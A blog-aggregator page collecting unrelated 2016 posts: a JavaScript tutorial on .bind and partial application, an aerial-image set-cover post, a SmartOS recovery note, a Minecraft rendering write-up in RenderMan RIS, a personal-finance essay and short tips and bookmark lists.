A situation came up this week where a coworker had stumbled upon some really terse code. They weren't exactly clear on what was going on, so we went through an exercise together of rewriting the code in the most verbose format, then gradually shrinking it one piece at a time to arrive at the very terse but completely equivalent format.

Our Task: Put Users into Groups

Here's the situation. We need to do a series of database inserts to add a user to multiple groups. This is done with an SQL INSERT statement for each groupId linking that group to the given user.

Here's the initial setup code that will be unchanged for all the examples in this post:

const Bluebird = require('bluebird')

const db = {
  insert: (table, row, callback) => {
    setTimeout(() => {
      console.log('done adding row', row)
      callback(null, [])
    }, 1000)
  }
}
Bluebird.promisifyAll(db)

function addToGroup(userId, groupId) {
  console.log('adding user', userId, 'to group', groupId)
  return db.insertAsync('users_groups', {user_id: userId, group_id: groupId})
}

WTF is this?

The initial code encountered, which was unclear, was

const groupIds = [42, 27, 33, 99]
const userId = 12

Bluebird.map(groupIds, addToGroup.bind(null, userId))
  .then(() => {
    console.log('done')
  })

This makes use of Function.prototype.bind which is available on all functions. To show what's going in in this very terse bit of code, we coded up the fully verbose format of equivalent code as follows.

Bluebird.map(groupIds, function perGroup (groupId) {
  return addToGroup(userId, groupId)
})
  .then(() => {
    console.log('done')
  })

We're using Bluebird.map to iterate over each groupId in the groupIds array so the perGroup function will be invoked 4 times since there are 4 values in the groupIds array. Each invocation calls addToGroup with the arguments in the proper order, and returns the promise that addToGroup returns.

addToGroup does the DB insert against our mocked-up database library which has been promisified with the Bluebird.promisifyAll() utility function so insertAsync will return a bluebird promise and not need a callback even though insert is coded as a callback API.

When coded like that, it was clearer what was going on. So we then started to trim out syntax that is technically unnecessary step by step as a learning exercise.

Shrinking it down

First to go was just the name of the perGroup function, making it a lambda (anonymous function).

Bluebird.map(groupIds, function (groupId) {
  return addToGroup(userId, groupId)
})
  .then(() => {
    console.log('done')
  })

Sprinkle Some ES2015 Arrow Function On It

Next we opted for the terser ES2015 arrow function syntax.

Bluebird.map(groupIds, (groupId) => {
  return addToGroup(userId, groupId)
})
  .then(() => {
    console.log('done')
  })

Lose the Curly Braces

Now what we notice is we have an arrow function that just returns the value of a single expression. This means it's eligible for the ultra-terse no-curly form. So we axe the curlies and the return keyword and keep it on one line.

Bluebird.map(groupIds, (groupId) => addToGroup(userId, groupId))
  .then(() => {
    console.log('done')
  })

OK now that's pretty terse. However, look closely at the anonymous mapping function itself (groupId) => addToGroup(userId, groupId). How different is it from addToGroup? Well, instead of taking 2 arguments, it only takes one. Then it calls addToGroup with 2 arguments, the first being the userId which is directly in the parent scope and the second being the groupId that comes from Bluebird.map. So you could think of it like a variant of addToGroup with the userId argument hard coded or "baked in" to be a particular value.

It turns out that this is exactly what Function.prototype.bind does. Given a function, bind creates a new function that has some of the arguments pre-specified ("bound") to particular values, leaving only the remaining arguments to be varied on each function call.

Back to .bind

So that gets us back to the .bind format.

Bluebird.map(groupIds, addToGroup.bind(null, userId))
  .then(() => {
    console.log('done')
  })

It's a few characters shorter than even the tersest arrow function.

What we are doing here is creating a new, unnamed function with pre-specified this value and first argument value. When we call addToGroup.bind(null, userId) passing null as the first argument means the function bind returns will not have access to a this variable when called. addToGroup is a regular function (not an object-oriented method) and makes no reference to this, so it's perfectly OK to have it be null.

The second argument to bind will be "bound" as the first argument of our new addToGroup variant. That leaves the 2nd argument unspecified, which lines up with the Bluebird.map expecting a function that takes 1 argument which is a groupId. Remember that bind returns the new function without executing it. So you could express this in English as "Hey addToGroup function, build me a variant of yourself with this userId fixed as the first argument and the other argument unspecified until later when I call the function".

lodash partial version

Another option if that ugly null in the .bind call rubs you the wrong way would be lodash's _.partial which looks like this:

Bluebird.map(groupIds, _.partial(addToGroup, [userId]))
  .then(() => {
    console.log('done')
  })

Lessons Learned

My take is that the implicit-return arrow function flavor: Bluebird.map(groupIds, (groupId) => addToGroup(userId, groupId)) is the tersest you can go and still be readable to developers without much exposure to .bind, which is a fairly advanced feature in regular JS codebases, although in functional programming it implements the idea of partial application, which is very commonplace and not advanced for developers accustomed to the functional programming paradigm.

I think explicitly seeing that you have a function that takes a single groupId argument and gets userId from the parent scope is important for this to be clear, and with .bind you lose that and it becomes magic.

The main takeaway is that all formats of this code are exactly equivalent. It's good to be able to read and understand every variation so you are prepared if you encounter it in your coding.

Thanks to Scott Nonnenberg for reviewing a draft of this post!

Syntax highlighting and CSS support added to wordinserter

Tom Forbes — Tue, 26 Jul 2016 04:22:28 GMT

I recently added syntax highlighting and support for CSS stylesheets to wordinserter , and the implementation was satisfying enough that I thought I would blog about it. Wordinserter is a library I maintain that lets you insert HTML documents/snippets into Word documents: It’s primary use case is wh...

Minimum Image Cover

Nicholas Pilkington — Mon, 25 Jul 2016 22:24:23 GMT

Some applications of photogrammetry require us to collect a number of overlapping aerial images covering an area. The more overlap the better, as more overlap in pairs of images gives us a higher result in some applications. However in other applications we are actually looking for as few images as possible from the set that still cover the area of interest without any gaps.

Framed another way - given a collection of sets, what is the minimum number of those sets that need to be selected such that their union is the union of all of the sets. The sets in our case are defined by taking each location on the ground as a longitude,latitude pair and then finding the set of images that can see that location. We’ll talk about how to enumerate these locations on the ground later. This is called the set cover problem.

Camera Geometry #

Before we start solving the problem lets generate a dataset of aerial imagery. In order to do that we need to represent an aerial camera at some point in space and the direction in which it is pointing. The location and orientation of the camera together are called the pose and are represented by six values - longitude, latitude, altitude, yaw, pitch and roll. The first three represent position and the last three represent orientation. In addition to this, cameras have a number of intrinsic parameters. For the purposes of our data set we are just going to consider focal length (F) and sensor size. Focal length is the distance over which the camera lens focuses light onto the sensor. The shorter the focal length the wider the field of view. The longer the focal length the smaller the field of view but the higher the ground sampling distance (which is measured in centimeters per pixel). Sensor size is the size of the CCD in the camera, larger sensors (at the same resolution) can represent a larger scene. There are a few different conventions for sensor size and as a result focal length is sometimes given as equivalent focal length as if the sensor were a certain size. In this case we’ll assume that our camera has a 35mm-equivalent focal length of 20mm. Which oddly (by convention) means that the sensor size is 24x36 mm. From these parameters - pose, focal length and sensor size - we can draw this diagram that describes the area on the ground (footprint) that the camera can see which is related to the field of view by the altitude.

This image assumes that the camera is pointing straight down which would generate a clean rectangular footprint (rectangular because the sensor is not square). In reality this is not the case and the aircraft is bumping around and the camera is moving slightly which generates a quadrilateral footprint, also causing some perspective distortion. In order to compute the footprint accurately we can represent the camera with 3 vectors - position, lookat and up. The position vector is the location of the camera in space. The lookat vector is a unit vector in the direction the camera is pointing and the up vector is a unit vector out of the top of the camera to disambiguate the upside down images. We can apply a rotation matrix computed from roll, pitch and yaw to the up and lookat vectors about the camera position to orientate the camera like this.

import numpy as np

def rotate(vector, yaw, pitch, roll):
    Rotz = np.array([
        [np.cos(yaw), np.sin(yaw),  0], 
        [-np.sin(yaw), np.cos(yaw), 0],
        [0, 0 ,1]
    ])
    Rotx = np.array([
         [1, 0, 0], 
         [0, np.cos(pitch), np.sin(pitch)], 
        [0, -np.sin(pitch), np.cos(pitch)]
    ])
    Roty = np.array([
        [np.cos(roll), 0, -np.sin(roll)], 
        [0, 1, 0], 
        [np.sin(roll), 0, np.cos(roll)]
    ])
    rotation_matrix = np.dot(Rotz, np.dot(Roty, Rotx))
    return np.dot(rotation_matrix, vector)

up = array([0, 1, 0])
position = array([0, 0, 80000]) # 80 meters up
lookat = array([0, 0, -1]) # pointing down
yaw, pitch, roll = 45, 5, 5
up = rotate(up, yaw, pitch, roll)
lookat = rotate(lookat, yaw, pitch, roll)

Now we have a camera pointing in the correct direction we need to compute the four corners of the footprint on the ground. We can do this geometrically by placing the camera sensor plane F-mm away from the camera position in the direction of the lookat and then projecting a ray from the camera position through the four corners of the sensors and into the ground. The point at which the ray intersects the ground - assuming the ground is flat (the ground is not flat) are the four corners of the footprint.

def ground_projection(p, corners):
    k = -position[2] / (corners[2] - position[2])
    return position + (corners-position)*k

Using this code we can generate a bunch of overlapping camera positions covering an area. Here’s a dataset of 100 images taken generated as if a DJI Phantom 4 (F=3.6) was flying over a 250 square meter area at 400m. Now we can return to our set cover problem of finding the minimum number of images that cover the whole area. The whole area in this case is the union of the footprints of the individual images (right). Let’s lay a lattice over the ground to discretize the points of the grounds this is a good approximation of the ground plane and makes the problem easier to solve. (left) We’re now looking for the minimum number of images that cover all the lattice points.

Greedy #

First lets try a greedy approach. Select the image that covers the most uncovered lattice points and add it to your solution set. Continue this until we have covered all the lattice points. This is easy to implement and runs fast, however the result isn’t optimal and we take more images than necessary.

Integer Linear Programming #

Let’s think about the problem another way. Let’s take an example with 6 position on the ground and 5 cameras. Let the 6 positions be variables x1, x2, x3, x4, x5, x6 and the 5 cameras are sets s1 = {x1, x2}, s2 = {x3, x4}, s3 = {x5, s6}, s4 = {x1, x2, x3}, s5 = {x4, x5, x6}.

[x1  x2  x3  x4  x5  x6]
[  s1  ][  s2  ][  s3  ]
[    s4    ][    s5    ]

Let’s assign an inclusion variable i1 .. i6 to each set. We would like to minimize the sum of i1 ... i6 such that for each position on the ground we have included at least one of the cameras containing it. There is one constraint for each element, and also the possibility of duplicate constraints (which can be ignored) if there are two elements that are covered by the same two sets. In this case both x1 and x2 are covered by s1 and s4 hence the first two constraints are the same. Similarly for the last two.

s1 + s4 >= 1
s1 + s4 >= 1
s2 + s4 >= 1
s2 + s5 >= 1
s3 + s5 >= 1
s3 + s5 >= 1

In addition we constrain the variables i1 ... i6 to be {0, 1} we can get an optimal solution to the problem where s1, s2, s3 = 0 and s4, s5=1 which represents the minimum set cover. In reality integer programming itself is dual to Satisfiability which is NP-complete meaning we can’t easily find this solution. But we can use a trick that get us close.

Relaxed Linear Programming #

Let’s relax the condition that i1 ...i6 need to be {0, 1} and let them be floating point numbers between 0 ... 1. Don’t worry too much about the meaning of fractionally including an item in the set this - example with clear that up.

[x1  x2  x3  x4  x5  x6]
[  s1  ][  s2  ][  s3  ]

If we relax the integral constraint the optimal solution 1.5 which is s1, s2, s3 = 0.5. But more importantly if we round up each of these numbers to 1. We still get a solution but possibly lose optimality. In this case we don’t and the rounded solution s1, s2, s3 = 1 is still optimal. However in our previous example

[x1  x2  x3  x4  x5  x6]
[  s1  ][  s2  ][  s3  ]
[    s4    ][    s5    ]

Our rounded solution is 1.5 which rounds up to 3 which is worse than the optimal integral constrained solution of 2 (using just s4 and s5). Our task is now to find a good heuristic way to round up the fractional values. One algorithm to do this is called randomize rounding.

Now we can apply this to our dataset. For each lattice point we compute all the cameras that can see that location and assign that lattice point to a variables. We then set up a linear programming solver to give us a (possibly fractional solution). The code looks like this:

# LP-solver
import pulp

# set up solver
problem = LpProblem("SetCover", LpMinimize)
variables = [ LpVariable("x" + str(var), 0, 1) for var in xrange(100) ]
problem += sum(variables)

# set inclusion constraints
problem += variables[0] >= 1
problem += variables[1] + variables[2] + variables[5] >= 1
...
problem += variables[3] + variables[5] + variables[5] >= 1
problem += variables[1] >= 1

GLPK().solve(problem)

# solution
for v in problem.variables():
    print 'Camera:', v.name, "=", 1 if v.varValue > 0 else 0

Rendering this we see that out of the 100 images we’ve needed to retain only 42 to cover the whole area.

SmartOS Recovery mount /usbkey

Caius Theory — Mon, 25 Jul 2016 20:59:00 GMT

Recently I managed to hose a box in a perfectly self-inflicted storm of idiocy. Imagine a SmartOS server with the following issues:

Root password not noted down anywhere
/usbkey/config edited badly, meaning the network settings are wrong
Rebooting the server to apply some other settings

Needless to say, this caused a tiny issue in the server doing what it’s supposed to. Luckily I had access to a KVM remote console for the box and the following worked.

I brought the machine up, choosing the second option for recovery at the grub menu. Waited for a login prompt, then logged in with root/root.

Realised quite quickly that /usbkey must be persisted on the zones zfs pool otherwise the configuration would be lost after shutdown, so imported the correct pool, created a directory to mount into and then mounted the zfs share.

zpool import zones
mkdir /usbkey
mount -F zfs zones/usbkey /usbkey

Moscow travel bookmarks

xenodium.com @alvaro — Mon, 25 Jul 2016 03:00:00 GMT

Redux vs MobX vs Flux vs... Do you even need that?

Gosha Spark — Mon, 25 Jul 2016 03:00:00 GMT

Vietnam travel bookmarks

xenodium.com @alvaro — Sun, 24 Jul 2016 03:00:00 GMT

Can Ba Quan
- Nikki Tren.
- Vietnamese Cajun.
Exploring Vietnam's remote Con Dao Islands.
Hoi An, Vietnam- Travel guide.
List of Locations: Somebody Feed Phil - Ho Chi Minh City, Vietnam.
Pho Bo Phu Gia
- DC: 146K LY Chinh Thang.
- 0908 208 866.
Simon Standly and Vin Dao (food journalists)
Somebody Feed Phil, List of Locations: Ho Chi Minh City.
Thuc Pham Duc Viet
- Bahn Mi
- Pate Bu Cha
- Nhan Dat Bi Cha
Another favorite bookstore - Bookworm Hanoi | The Saigon boy

I Accidentally Some Machine Learning - My Story of A Month of Learning Elixir

Fred Wu (@fredwu) — Sat, 23 Jul 2016 21:33:29 GMT

Streaming using a Raspberry Pi Camera to Twitch in Full HD while injecting audio from rtl sdr

Fabrice Aneche — Sat, 23 Jul 2016 02:11:47 GMT

I have found the right setup to stream in 1080p from a Raspberry Pi using the camera to TwitchTV while injecting audio on the fly! Create an account on Twitch and grab you stream key in the Dashboard. This stream.sh script will create a FIFO start rtl_fm at freq 162.550M to listen to Canada weather bulletin (use your local NOAA channel) and inject and encode the audio to the existing h264 stream from the camera then stream it to twitch using rtmp.

Cheap conveniences build wealth

D13V — Fri, 22 Jul 2016 03:00:00 GMT

If you really want a high end electric car, and you have the money, then you can buy a Tesla. You’ll end up paying through the nose though. It is super expensive, and that is not just because it takes a lot of work and resources to make. It is expensive, because Tesla wants the profit, in order to reinvest it into energy projects.

No way you can get a similar car cheaper. Unique products like Tesla cars have no alternatives, so the people who really want their functionality will end up paying up, even if the price is much higher than the fair price.

Rice and potatoes are commodities, because they are easy to find everywhere for about the same price. If I am trying to sell you rice for a hundred dollars per kilo, you will not buy it. I cannot make much profit from any commodity, unless I sell a lot of it.

Tourist attractions and museum tickets are not commodities as each attraction is unique by definition. Some people really care about that specific attraction, so the owners increase the seller profit as much as possible. It traps the stupid tourists the way a sticky band traps flies in the summer. Attracted by the shine, the tourists get stuck there and part with a sliver of their wealth and their spine. When the time comes to make a big decision, their softness makes them vulnerable to the hardened tourist trappers.

Tourist traps are almost always wealth traps, rice and beans are almost never wealth traps, and Tesla cars are often wealth traps. When we fall for wealth traps, total cost of our decisions can be as much as the useful need because we give a lot of profit to the seller. Or even more! When the two sides are equal, we are just spinning our wheels to build wealth for the trappers.

Why the fuck do we ever do that? Are we that stupid? No. We aren’t that stupid, but we see things the wrong way and make errors. We are happy to fall for wealth traps and oblivious to the exploitation, because we are perceiving our need as very high, and think that paying up will fix it. We don’t immediately realize that the money we are spending were worth our hard working time. Yes, we aren’t that stupid, we know that we can spend time and work to get money. But we don’t fully get that it is a two way street and that we can spend money back to get time. Instead we spend our money on bullshit.

Ugh, this sounds horrible. Are such trappy products and experiences bad for society as a whole? Not necessarily. They just shuffle wealth around but do not immediately destroy it. A tourist trapper might be better at managing money than the trapped tourist. Tesla invests in research which could potentially pay off a lot. Sometimes the useful need for the buyer is even higher than the price. If a very productive and highly paid person buys a Tesla, the time and energy saved when the car runs on autopilot might be worth more than the cost of the car. It is a win-win, but it might be more like win-WIN. Free-markets encourages producers to seek advancements in technology in order to get an edge on other sellers and get more profit.

All-right, this doesn’t sound so horrible any more. Individual persons can lose a bunch of their wealth in order to improve overall society well-being and the entrepreneurs who invent new awesome products and gather up seller profit. Yet, the small person still seems fucked. Rich get richer as they get equity in the new enterprises, and consumers are constantly getting fleeced from any wealth they accumulate. Seems like a vicious cycle which promotes wealth inequality and slow rise of the standard of living for the poor. Capitalism, yo.

Can the small guy escape? Yes. Is it easy? I don’t think so. But it is probably not too complicated. To better dissect the topic I’m actually going to go back and revise my wealth equation. I’ve been talking about useful need, but really, what I’ve been meaning is productivity. And the productivity can be split as need plus convenience. Needs are hard and non-negotiable. Shelter and food. Clothes and water and health. Conveniences are things we prefer to have, but will survive without them just fine. Lets look back at the revised wealth equation:

wealth increase =
  + need
  + convenience
  - natural resources fair prices
  - total seller profit
  - hidden environment cost

When we are in a tight situation, against the wall, and we’ve made commitments, we increase our need becomes higher. This comes at the cost of convenience by the same amount. Smart sellers know that we cannot back out of our commitments and our need has increased and can ask for the higher price, knowing that we will pay. If another seller tries to compete with them and offer a cheaper, less convenient product, that product would not satisfy the new need.

The way out for the poor guy is to gradually gather up wealth, which means to make decisions, to buy products and experiences, to engage in activities which increase wealth. If we are in the position of the poor guy, there are multiple viable ways to do escape. We can work or be entrepreneurial, which directly adds to our wealth. We can purchase commodities, where a seller cannot increase the price, so we satisfy our needs without parting away with wealth. And we can sacrifice some convenience, when it comes too expensive, in order to get the better deal, the one which adds to our wealth.

The first two are pretty obvious. Earn more and spend less. But the convenience trick sounds counterintuitive. Inconvenience invokes the image of austerity measures. When I was growing up, I often heard the phrase “the economizing is the mother of the misery”. Scary… Do we need to live in misery and in order to save up? No. We should feel free to spend a reasonable price for shelter, decent food, warmth and health care. And we should get convenience when we can get it cheaply.

Convenience is almost always overrated. Inconvenience sounds like a loss of time and effort, and we are very loss averse, so we try to avoid it. But the truth is that once we’ve experienced the inconvenience, our mind starts thinking about how to overcome it. While there is the obvious way - pay up to the trapper - there are alternative creative solutions as well. The more we need to deal with the inconvenience, the more economies of scale kick in and we become more efficient. Which makes the inconvenience lower. We also adjust our baseline perception of convenience through hedonic adaptation. More power to us, as we get to save more of our wealth.

We have a choice. Whether to get expensive convenience now, or wealth later. We will always pick at least some convenience in the present tense.

Internet is an example of something that is very convenient and cheap. It is cheap because it is a commodity at a price similar to the fair price to build the infrastructure for it. And it can provide a lot of free information, services and connections. A cheap convenience like the Internet makes the society more wealthy and prosperous. Other cheap conveniences are bicycles, home cooked meals and to some degree - airplane transportation.

My current opinion is that learning to recognize the cheap conveniences will make us wealthy and won’t hurt the economy and prosperity of the society.

Rendering Minecraft in Renderman/RIS

Code & Visuals — Fri, 22 Jul 2016 03:00:00 GMT

The vast majority of my computer graphics time is spent developing renderers (Disney’s Hyperion renderer as a professional, Takua Renderer as a hobbyist). However, I think having experience using renderers as an artist is an important part of knowing what to focus on as a renderer developer. I also think that knowing how a variety of different renderers work and how they are used is important; a lot of artists are used to using several different renderers, and each renderer has its own vocabulary and tried and true workflows and whatnot. Finally, there are a lot of really smart people working on all of the major production renderers out there, and seeing the cool things everyone is doing is fun and interesting! Because of all of these reasons, I like putting some time aside every once in a while to tinker with other renderers. I usually don’t write about my art projects that much anymore, but this project was particularly fun and produced some nice looking images, so I thought I’d write it up. As usual, before we dive into the post, here is the final image I made, rendered using Pixar’s Photorealistic Renderman 20 in RIS mode:

About two years ago, Pixar’s Photorealistic Renderman got a new rendering mode called RIS. PRman was one of the first production renderers ever developed, and historically PRman has always been a REYES-style rasterization renderer. Over time though, PRman has gained a whole bunch of added on features. At the time of Monsters University, PRman was actually a kind of hybrid rasterizer and raytracer; the rendering system on Monsters University used raytracing to build a multiresolution radiosity cache that was then used for calculating GI contributions in the shading part of REYES rasterization. That approach worked well and produced beautiful images, but it was also really complicated and had a number of drawbacks! RIS replaces all of that with a brand new, pure pathtracing system. In fact, while RIS is marketed as a new mode in PRman, RIS is actually a completely new renderer written almost completely from scratch; it just happens to be able to read Renderman RIB files as input.

Recently, I wanted to try rendering a Minecraft world from a Minecraft server that I play on. There are a lot of great Minecraft rendering tools available these days (Chunky comes to mind), but I wanted much more production-like control over the look of the render, so I decided to do everything using a normal CG production workflow instead of a prebuilt dedicated Minecraft rendering tool. I thought that I would use the project as a chance to give RIS a spin. At Cornell’s Program of Computer Graphics, Pixar was kind enough to provide us with access to the Renderman 19 beta program, which included the first version of RIS. I tinkered with the PRman 19 beta quite a lot at Cornell, and being an early beta, RIS had some bugs and incomplete bits back then. Since then though, the Renderman team has followed up PRman 19 with versions 20 and 21, which introduced a number of new features and speed/stability improvements to RIS. Since joining the Hyperion team, I’ve had the chance to meet and talk to various (really smart!) folks on the Renderman team since they are a sister team to us, but I haven’t actually had time to try the new versions of RIS. This project was a fun way to try the newest version of RIS on my own!

The Minecraft data for this project comes from the Nerd.nu community Minecraft server, which is run by a collective of players for free. I’ve been playing on the Nerd.nu PvE (Player versus Environment) server for years and years now, and players have built a mind-boggling number of amazing detailed creations. Every couple of months, the server is reset with a fresh map; I wanted to render a town that fellow player Avi_Dangerstein and I built on the previous map revision. Fortunately, all previous Nerd.nu map revisions are available for download in the server archives (the specific map I used is labeled pve-rev17). Here is an overview of the map revision I wanted to pull data from:

…and here is a zoomed in view of the part of the map that contains our town. The vast majority of the town was built by two players over the course of about 4 months. Our town is about 250 blocks long; the entire server map is a 6000 block by 6000 block square.

The first problem to tackle in this project was just getting Minecraft world data into a usable format. Pixar provides a free, non-commercial version of Renderman for Maya, and I’m very familiar with Maya, so my entire workflow for this project was based around good ol’ Maya. Maya doesn’t know how to read Minecraft data though… in fact, Minecraft’s chunked data format is a fascinating rabbit hole to read about in its own right. I briefly entertained the idea of writing my own Minecraft to Maya importer, but then I found a number of Minecraft to Obj exporters that other folks have already written. I first tried jmc2obj, but the section of the Minecraft world that I wanted to export was so large that jmc2obj kept running out of memory and crashing. Instead, I found that Eric Haines’s Mineways exporter was able to handle the data load well (incidentally, Eric Haines is also a Cornell Program of Computer Graphics alum; I inherited a pile of his ACM Transactions on Graphics hardcopies while at Cornell). The chunk of the world I wanted to export was pretty large; in the Mineways screenshot below, the area outlined in red is the part of the world that I wanted:

The area outlined above is significantly larger than the area I wound up rendering… initially I was thinking of a very different camera angle from the ground with the mountains in the background before I picked an aerial view much later. The size of the exported obj mesh was about 1.5 GB. Mineways exports the world as a single mesh, optimized to remove all completely occluded internal faces (so the final mesh is hollow instead of containing useless faces for all of the internal blocks). Each visible block face is uv’d into a corresponding square on a single texture file. This approach produces an efficient mesh, but I realized early on that I would need water in a separate mesh containing completely enclosed volumes for each body of water (Mineways only provides geometry for the top surface of water). Glass had to be handled similarly; both water and glass need special handling for the same reasons that I mentioned immediately after the first diagram in my attenuated transmission blog post. Mineways allows for exporting different block types as separate meshes (but still with internal faces removed), so I simply deleted the water and glass meshes after exporting. Luckily, jmc2obj allows exporting individual block types as closed meshes, so I went back to jmc2obj for just the water and glass. Since just the water and glass is a much smaller data set than the whole world, jmc2obj was able to export without a problem. Since rendering refractive interfaces correctly requires expanding out the refractive mesh slightly at the interfaces, I wrote a custom program based on Takua Renderer’s obj mesh processing library to push out all of the vertices of the water and glass meshes slightly along the average of the face normals at each vertex.

Next up was shading everything in Maya. Renderman 20 ships with an implementation of Disney’s Principled Brdf, which I’ve gotten very familiar with using, so I went with Renderman’s PxrDisney Bxdf. The Disney Brdf allows for quickly creating very good looking materials using a fairly small parameter set. Overall I tried to stick close to the in-game aesthetic, which meant using all of the standard in-game textures instead of a custom resource pack, and I also wound up having to reign back a bit on making materials look super realistic. Everything basically has some varied roughness and specularity, and that’s pretty much it. I did add a subtle bump map to everything though; I made the bump map by simply making a black and white version of the default texture pack and messing with the brightness and contrast a bit. Below is a render of a test world created by Minecraft Forum user QMagnet specifically for testing resource packs. I lit the test scene using a single IBL (HDRI Sky 141 from the HDRI-Skies library). The test render below isn’t using the final specialized water and leaf shaders I created, which I’ll describe a bit further down, and there are also some resolution problems on the alpha masks for the leaf blocks, but overall this test render gives an idea of what my final materials look like:

One detail worth going into a bit more detail about are the glowing blocks. The glowstone, lantern, and various torch blocks use a trick based on something that I have seen lighters use in production. The basic idea is to decouple the direct and indirect visibility for the light. I got this decoupling to work in RIS by making all of the glowing blocks into pairs of textured PxrMeshLights. Using PxrMeshLights is necessary in order to allow for efficient light sampling; however, the actual exposures the lights are at make the textures blow out in camera. In order to make the textures discernible in camera, a second PxrMeshLights is needed for each glowing object; one of the lights is at the correct exposure but is marked visible to only indirect rays and invisible to direct camera rays, and the other light is at a much lower exposure but is also only visible to direct camera rays. This trick is a totally non-physical cheaty-hack, but it allows for a believable visual appearance if the exposures are chosen carefully.

In the final renders a few pictures down, I also used a more specialized shader for leaves and vines and tall grass and whatnot. The leaf block shader uses a PxrLMPlastic material instead of PxrDisney; this is because the leaf block shader has a slight amount of diffuse transmission (translucency) and also has more specialized diffuse/specular roughness maps.

For the water shader in the final render, I used a PxrLMGlass material with an IOR of 1.325, a slightly blue tinted refraction color, and a light blue absorption color. Using slightly different colors for the refraction and absorption colors allows for the water to transition to a slightly different hue at deeper depths than at the surface (as opposed to just a more saturated version of the same color). I also added a simple water surface displacement map to get the wavy surface effect. Combined with the refractive interface stuff mentioned before, the final water looks like this:

Note the total lack of real caustics in the water… I wound up just using the basic pathtracer built into RIS instead of Pixar’s VCM implementation. Pixar’s VCM implementation is one of the first commercial VCM implementations out there, but as of Renderman 20, it has no adaptivity in its light path distribution whatsoever. As a result, the Renderman 20 VCM integrator is not really suitable for use on huge scenes; most of the light paths end up getting wasted on areas of the scene that aren’t even close to being in-camera, which means that all of the efficiency in rendering caustics is lost. This problem is fundamental to lighttracing-based techniques (meaning that bidirectional techniques inherit the same problem), and solving it remains a relatively open problem (Takua has some basic photon targeting mechanisms for PPM/VCM that I’ll write about at some point). Apparently, this large-scene problem was a major challenge on Finding Dory and is one of the main reasons why Pixar didn’t use VCM heavily on Dory; Dory relied mostly on projected and pre-baked caustics.

I should also note that Renderman 21 does away with the PxrLM and PxrDisney materials entirely and instead introduces the shader set that Christophe Hery and Ryusuke Villemin wrote for Finding Dory. I haven’t tried the Renderman 21 shading system yet, but I would be very curious to compare against our Disney Brdf.

The final lighting setup I used was very simple. There are two main lights in the scene: an IBL dome light for sky illumination, and a 0.5 degree distant light as a sun stand-in. The IBL is another free sky from the HDRI-Skies library; this time, I used HDRI Sky 84. There is also a third spotlight used for getting long, dramatic shadows out of the fog, which I’ll talk about a bit later. Here is a lighting test with just the dome and distant lights on a grey clay version of the scene:

For efficiency reasons, I broke out the fog into a separate pass entirely and added it back in comp afterwards. At the time that I did this project, Renderman 20’s volume system was still relatively new (Renderman 21 introduces a significantly overhauled, much faster volume system, but Renderman 21 wasn’t out yet when I did this project), and while perfectly capable, wasn’t necessarily super fast. Iterating on the look of the fog separately from the main render was simply a more efficient workflow. Here is the raw render directly out of RIS:

For the fog, I initially wanted to do fully simulated fog in Houdini. I experimented with using a point SOP to control wind direction and to drive a wind DOP and have fog flow through the scene, but the sheer scale of the scene made this approach impracticable on my home computers. Instead, I wound up just creating a static procedural volume noise field and dumping it out to VDB. I then brought the VDB back into Maya for RIS rendering. Initially I tried rendering the fog pass without the additional spotlight and got something that looked like this:

After getting this first fog attempt rendered, I did a first pass at a final comp and color grade. I wound up using a very different color grade on this earlier attempt. This earlier version is the version that I shared in some places, such as the Nerd.nu subreddit and on Twitter:

This first attempt looked okay, but didn’t quite hit what I was going for. I wanted something with much more dramatic shadow beams, and I also felt that the fog didn’t really look settled into the terrain. Eventually I realized that I needed to make the fog sparser and that the fog should start thinning out after rising just a bit off of the ground. After adjusting the fog and adding in a spotlight with a bit of a cooler temperature than the sun, I got the image below. I’m pretty happy with how the fog looks like it is settling in the river valley and is pouring out of the forested hill in the upper left of the image, even though none of the fog is actually simulated!

Finally, I brought everything together in comp and added a color grading pass in Lightroom. The grade that I went with is much much more heavy-handed than what I usually like to use, but it felt appropriate for this image. I also added a slight amount of vignetting and grain in the final image. The final image is at the top of this post, but here it is again for convenience:

I learned a lot about using RIS from this project! By my estimation, RIS is orders of magnitude easier to use than old REYES Renderman; the overall experience was fairly similar to my previous experiences with Vray and Arnold. Both Takua and Hyperion make some similar choices and some very different choices in comparison, but then again, every renderer has large similarities and large differences from every other renderer out there. Rendering a Minecraft world was a lot of fun; I definitely am looking forward to doing more Minecraft renders using this pipeline again sometime in the future.

Also, here’s a shameless plug for the Nerd.nu Minecraft server that this data set is from. If you like playing Minecraft and are looking for a fast, free, friendly community to build with, you should definitely come check out the Nerd.nu PvE server, located at p.nerd.nu. The little town in this post is not even close to the most amazing thing that people have built on that server.

A final note on the (lack of) activity on my blog recently: we’ve been extremely busy at Walt Disney Animation Studios for the past year trying to release both Zootopia and Moana in the same year. Now that we’re closing in on the release of Moana, hopefully I’ll find time to post more. I have a lot of cool posts about Takua Renderer in various states of drafting; look for them soon!

Addendum 2016-10-02

After I published this post, Eric Haines wrote to me with a few typo corrections and, more importantly, to tell me about a way to get completely enclosed meshes from Mineways using the color schemes feature. Serves me right for not reading the documentation completely before starting! The color schemes feature allows assigning a color and alpha value to each block type; the key part of this feature for my use case is that Mineways will delete blocks with a zero alpha value when exporting. Setting all blocks except for water to have an alpha of zero allows for exporting water as a complete enclosed mesh; the same trick applies for glass or really any other block type.

One of the neat things about this feature is that the Mineways UI draws the map respecting assigned alpha values from the color scheme being used. As a result, setting everything except for water to have a zero alpha produces a cool view that shows only all of the water on the map:

Going forward, I’ll definitely be adopting this technique to get water meshes instead of using jmc2obj. Being able to handle all of the mesh exporting work in a single program makes for a nicer, more streamlined pipeline. Of course both jmc2obj and Mineways are excellent pieces of software, but in my testing Mineways handles large map sections much better, and I also think that Mineways produces better water meshes compared to jmc2obj. As a result, my pipeline is now entirely centered around Mineways.

How to Hide Methods From Fabric Task Listing

Ben E. C. Boyter — Fri, 22 Jul 2016 01:34:49 GMT

Occasionally you may want to hide a method from appearing inside the fabric listing of available tasks. Usually its some sort of helper method you have created that is shared by multiple tasks. So how to hide it? Simply prefix with _

For example,

def _apt_get(packages):
    '''Makes installing packages easier'''
    sudo('apt-get update')
    sudo('apt-get -y --force-yes install %s' % packages)

When listing the fabric tasks this method will no longer appear in the results.

Resources for People with Jobs

Josh Thompson — Thu, 21 Jul 2016 03:00:00 GMT

RESOURCES FOR PEOPLE WITH JOBS

You spend most of your waking hours at work. So, spend a few of those waking hours when you’re not at work thinking about how to improve the hours that you are working. Often, improving your work means you can improve your work conditions and compensation.

Many people in their 20s feel stagnant in their job(s). Don’t let that be you.

Here’s a list of useful resources. I’ll update this occasionally.

